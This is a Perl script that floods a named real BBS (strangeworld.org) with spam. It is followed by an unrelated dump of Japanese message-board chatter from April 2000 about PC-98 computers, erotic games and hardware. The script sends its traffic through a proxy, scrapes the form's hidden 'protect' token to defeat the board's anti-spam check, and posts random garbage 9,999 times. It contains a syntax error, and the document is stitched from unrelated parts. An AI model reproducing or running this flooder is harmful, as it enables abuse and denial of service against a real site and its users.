#! /usr/bin/perl

# 目標のURL
$target = 'http://www.strangeworld.org/cgi-bin/strangeworld/bbs.cgi';
# PROXYのアドレス
$proxyaddr = 'www.justnet.ne.jp';
# PROXYのポート番号
$proxyport = '80';
# 投稿回数
$r = 9999;

$hhost = $target;
$hhost =~ s/http\:\/\///;
$hhost = ( split ( /\//, $hhost ) )[0];

# -------------------------------------------------------------------------- #

eval 'use Socket';
$| = 1;
print "Content-type: text/plain\n\n";
&time;
$sockaddr = 'S n a4 x8';
( $name, $aliases, $proto ) = getprotobyname ( 'tcp' );
( $name, $aliases, $type, $len, $thataddr ) = gethostbyname ( $proxyaddr );
$that = pack ( $sockaddr, &AF_INET, $proxyport, $thataddr );
for ( $v = 0; $v < $r; $v++ ) {
	$buffer = '';
	&socket;
	&post;
	$code = 0;
	foreach $line ( <S> ) {
		if ( $line =~ /<input type=\"hidden\" name=\"protect\" value=\"(.*)\">/) {
			$form_code[$code] = $1;
			$code++;
		}
	}
	close ( S );
	sleep 2:
	srand ( time | $$ );
	$randx = int ( rand ( 66 ) ) + 9;
	$randy = int ( rand ( 37 ) ) + 3;
	$rndbuf = int ( rand ( $v + $randy ) ) + $randy + 185;
	for ( $i = 0 ; $i < $randy ; $i++ ) {
		for ( $j = 0 ; $j < $randx ; $j++ ) {
			$rnd = sprintf ( "%c", 48 + int ( rand ( 78 ) ) );
			$rndbuf = "$rndbuf$rnd";
		}
		$rndbuf = "$rndbuf\n";
	}
	$rndbuf =~ s/([^a-zA-Z0-9\s])/sprintf ( "%%%lX", ( unpack ( "C", $1 ) ) )/eg;
	$rndbuf =~ s/ /\+/g;
	$buffer = "mode=post&username=&mailaddr=&title=&message=$rndbuf&linkurl=&protect=$form_code[0]&msgdisp=1&autolink=&custom=ffffff004040eeffeedddddd0&postid=840000";
	&socket;
	&post;
	close ( S );
	print "$v : send.\n";
}

print "Done";
exit;

sub time {
	( $sec, $min, $hour, $mday, $month, $year, $wday, $yday, $isdat )
	  = localtime ( time );
}


sub socket {
	$length = length ( $buffer );
	socket ( S, &AF_INET, &SOCK_STREAM, $proto ) || die next;
	connect ( S, $that ) || die next;
	select ( S );
	$| = 1;
	select ( STDOUT );
}


sub post {
	print S <<"_POST_";
POST $target HTTP/1.0
Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg/, */*
Referer: $target
Connection: Keep-Alive
Accept-Languege: ja
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible, MSIE 5.0; Windows 98)
Host: $hhost
Content-Length: $length
Proxy-Connection:
Pragma: No-Cache

$buffer

_POST_
}

> > 日本人なら９８でエロゲを楽しめ
> > 16色でわびさびを感じろ
> TAKERUの通販ｻｰﾋﾞｽで買ったエロゲはMATE Xでは動きませんでしたが？
> つーか使ったことのないPCカードｱﾀﾞﾌﾟﾀいらねぇ
> 2ドライブにしとけや　ｺﾞﾗ

TAKERUで２ﾄﾞﾗｲﾌﾞ化ソフトも売ってるよ
文句言ったらそれも買えって言われた
まぁ確かに動くようにはなったが

参考：2000/04/13(木)05時29分53秒

> > 日本人なら９８でエロゲを楽しめ
> > 16色でわびさびを感じろ
> TAKERUの通販ｻｰﾋﾞｽで買ったエロゲはMATE Xでは動きませんでしたが？
> つーか使ったことのないPCカードｱﾀﾞﾌﾟﾀいらねぇ
> 2ドライブにしとけや　ｺﾞﾗ

NECのFDDは一万OVER

NECのFDDは一万OVER

参考：2000/04/13(木)05時29分53秒

> われざはなぜ友達ほしがりますか？
> そんなに使えもしないソフトがほしいですか？

返す言葉もございません


参考：2000/04/13(木)05時28分41秒

> > カードキャプチャーって何だ(;´Д｀)
> > 同人ゲームかよ
> 　台湾製のメモリカードエディタだろ(´ｰ`)y-~~　ゲーラボ嫁
　　　　　　　　　　　　　　　　　　　　　　　　~~~~~~~~~~!?

参考：2000/04/13(木)05時26分45秒

> > 人が俺がFMVは汚名が着せたｴﾛｹﾞ98ﾕｻﾞｰが天罰に喰らったﾔｼが無駄遣いだな…
> 日本人なら９８でエロゲを楽しめ
> 16色でわびさびを感じろ

TAKERUの通販ｻｰﾋﾞｽで買ったエロゲはMATE Xでは動きませんでしたが？
つーか使ったことのないPCカードｱﾀﾞﾌﾟﾀいらねぇ
2ドライブにしとけや　ｺﾞﾗ


参考：2000/04/13(木)05時26分15秒

> > カードキャプチャーって何だ(;´Д｀)
> > 同人ゲームかよ
> 　台湾製のメモリカードエディタだろ(´ｰ`)y-~~　ゲーラボ嫁

iriaに食わせたけど落ちてこないよ？

参考：2000/04/13(木)05時26分45秒

われざはなぜ友達ほしがりますか？
そんなに使えもしないソフトがほしいですか？

人が割れサイトのURAが出てギコる暇もなくイリアに餌をﾊﾞﾝﾊﾞﾝ

> > えろげもないＦＭＶはどうやって救えますか
> ＦＭＶを出汁にして密かにマカーを馬鹿にしてるな

その意図はなかったが
マカーにヒットしたエロゲがあるのか？

参考：2000/04/13(木)05時27分01秒

> 何故　ﾄﾏﾀ

皆ふと、これからの人生について考え込んでしまったと仮定してみる


参考：2000/04/13(木)05時24分22秒

> > 人が俺がFMVは汚名が着せたｴﾛｹﾞ98ﾕｻﾞｰが天罰に喰らったﾔｼが無駄遣いだな…
> えろげもないＦＭＶはどうやって救えますか

ＦＭＶを出汁にして密かにマカーを馬鹿にしてるな

参考：2000/04/13(木)05時25分19秒

> > ニョニュニョ～
> > http://www.g-next.com/news/2000_04/11_dc_01.html
> カードキャプチャーって何だ(;´Д｀)
> 同人ゲームかよ

　台湾製のメモリカードエディタだろ(´ｰ`)y-~~　ゲーラボ嫁

参考：2000/04/13(木)05時19分16秒

> > 漏れはULTRA-ATAが使えない98MATEユーザー
> > 4GB SCSI HDD を4ﾏｿぐらいで買ったよ(;´Д｀)
> 人が俺がFMVは汚名が着せたｴﾛｹﾞ98ﾕｻﾞｰが天罰に喰らったﾔｼが無駄遣いだな…

日本人なら９８でエロゲを楽しめ
16色でわびさびを感じろ

参考：2000/04/13(木)05時18分14秒

> > 漏れはULTRA-ATAが使えない98MATEユーザー
> > 4GB SCSI HDD を4ﾏｿぐらいで買ったよ(;´Д｀)
> 人が俺がFMVは汚名が着せたｴﾛｹﾞ98ﾕｻﾞｰが天罰に喰らったﾔｼが無駄遣いだな…

えろげもないＦＭＶはどうやって救えますか

参考：2000/04/13(木)05時18分14秒

石原慎太郎負けるな!!
でも、マスコミを敵にまわすと厄介だから気を付けれ

何故　ﾄﾏﾀ

カーテン隙間から外を見たら急に眠くなってきた

さて㌧

> > ドリキャスでCCさくらってﾏｼﾞｪっすか(ﾟДﾟ)
> ニョニュニョ～
> http://www.g-next.com/news/2000_04/11_dc_01.html

まままマジェっすか(ﾟДﾟ)
でもポリゴンか…微妙なところだな…

参考：2000/04/13(木)05時17分15秒

> > ドリキャスでCCさくらってﾏｼﾞｪっすか(ﾟДﾟ)
> ニョニュニョ～
> http://www.g-next.com/news/2000_04/11_dc_01.html

カードキャプチャーって何だ(;´Д｀)
同人ゲームかよ


参考：2000/04/13(木)05時17分15秒

> > 25,000円をポッと出せるほど金が無いとみた
> 漏れはULTRA-ATAが使えない98MATEユーザー
> 4GB SCSI HDD を4ﾏｿぐらいで買ったよ(;´Д｀)

人が俺がFMVは汚名が着せたｴﾛｹﾞ98ﾕｻﾞｰが天罰に喰らったﾔｼが無駄遣いだな…

参考：2000/04/13(木)05時14分39秒

国府田のマリ姉はかわいいなぁ

> ドリキャスでCCさくらってﾏｼﾞｪっすか(ﾟДﾟ)

ニョニュニョ～
http://www.g-next.com/news/2000_04/11_dc_01.html

参考：2000/04/13(木)05時07分24秒

> > 500ウォンもな
> > 車窃盗もな
> プロだから殺人なんかはしないがな

ｺﾞﾙｺﾞヽ(´ー｀)ノ13

参考：2000/04/13(木)05時11分23秒

人が空白が漏れの表ページがASDがだまされたぁが困ったことだな・・・。

m(__)m 

この顔文字ムカツ　キー

> > ４０Ｇが２万５千円で売っているがどうよ？
> 25,000円をポッと出せるほど金が無いとみた

漏れはULTRA-ATAが使えない98MATEユーザー
4GB SCSI HDD を4ﾏｿぐらいで買ったよ(;´Д｀)


参考：2000/04/13(木)05時11分28秒